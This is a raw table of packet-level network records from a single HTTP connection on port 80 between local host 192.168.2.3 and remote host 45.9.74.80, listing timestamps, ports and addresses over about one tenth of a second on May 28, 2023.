May 28, 2023 10:42:43.561676979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561722040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561728001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561758995 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561769009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561815023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561858892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561903954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561909914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561942101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.561950922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.561996937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562030077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562042952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562089920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562135935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562181950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562182903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562208891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562232971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562278986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562329054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562333107 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562375069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562419891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562464952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562474012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562510014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562529087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562556028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562601089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562647104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562690973 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562693119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562738895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562782049 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562786102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562833071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562876940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562876940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562926054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.562963963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.562969923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563016891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563062906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563123941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563132048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563132048 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563172102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563218117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563263893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563272953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563312054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563340902 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563359022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563404083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563450098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563455105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563497066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563541889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563586950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563586950 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563631058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563674927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563680887 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563718081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563719034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563762903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563801050 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563807964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563853025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563895941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563939095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.563942909 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563971996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.563982964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564028978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564071894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564073086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564102888 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564116001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564153910 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564161062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564205885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564249039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564306974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564321041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564338923 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564368963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564414024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564459085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564505100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564508915 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564536095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564551115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564595938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564644098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564651966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564690113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564723015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564737082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564781904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564827919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564830065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564873934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564919949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564965010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.564965963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.564995050 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.565010071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.565057039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.565102100 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.565104008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.565150023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.565239906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.565291882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.565291882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.568429947 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.589853048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.589900970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.589946985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.589993000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590027094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590038061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590084076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590131044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590141058 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590176105 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590179920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590228081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590274096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590322971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590368986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590415001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590431929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590431929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590464115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590497971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590502977 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590543985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590594053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590629101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590629101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590639114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590686083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590729952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590744972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590779066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590826035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590872049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590883017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590912104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.590918064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.590965986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591011047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591056108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591061115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591090918 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591103077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591150999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591197014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591244936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591257095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591295004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591295958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591341019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591387033 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591406107 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591432095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591444016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591478109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591525078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591572046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591618061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591624022 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591654062 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591664076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591711044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591754913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591761112 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591803074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591849089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591890097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591893911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591941118 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.591942072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.591988087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592034101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592080116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592081070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592124939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592170954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592196941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592216969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592291117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592339039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592385054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592430115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592436075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592436075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592477083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592521906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592524052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592571020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592613935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592616081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592664003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592709064 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592710018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592757940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592801094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592803001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592849970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592894077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592899084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592938900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.592947006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592993021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.592995882 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593039036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593084097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593130112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593131065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593175888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593214989 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593223095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593264103 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593270063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593317986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593324900 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593363047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593408108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593452930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593496084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593499899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593547106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593589067 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593594074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593642950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593683004 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593688011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593729973 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593735933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593782902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593828917 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593856096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593874931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593916893 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.593920946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.593967915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594010115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.594013929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594062090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594109058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594146013 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.594155073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594201088 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.594201088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594249010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594269991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.594297886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594345093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594352961 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.594393015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594438076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594479084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.594484091 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594532013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.594652891 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.596152067 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.619242907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619294882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619339943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619385958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619402885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.619435072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619482040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619486094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.619529009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619574070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.619575024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619622946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619666100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619673014 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.619712114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619757891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619762897 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.619802952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619848967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.619849920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619896889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619944096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.619946003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.619993925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620037079 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620038986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620085955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620131969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620136976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620177031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620222092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620227098 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620290041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620311975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620340109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620387077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620434999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620435953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620498896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620546103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620546103 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620596886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620642900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620645046 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620690107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620735884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620743990 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620781898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620826960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620826960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620876074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620919943 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.620923042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.620970011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621010065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621016026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621058941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621066093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621112108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621153116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621156931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621203899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621249914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621289015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621299028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621341944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621350050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621396065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621442080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621486902 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621488094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621535063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621540070 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621582985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621618032 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.621629000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621660948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.621706963 CEST	80	49704	45.9.74.80	192.168.2.3
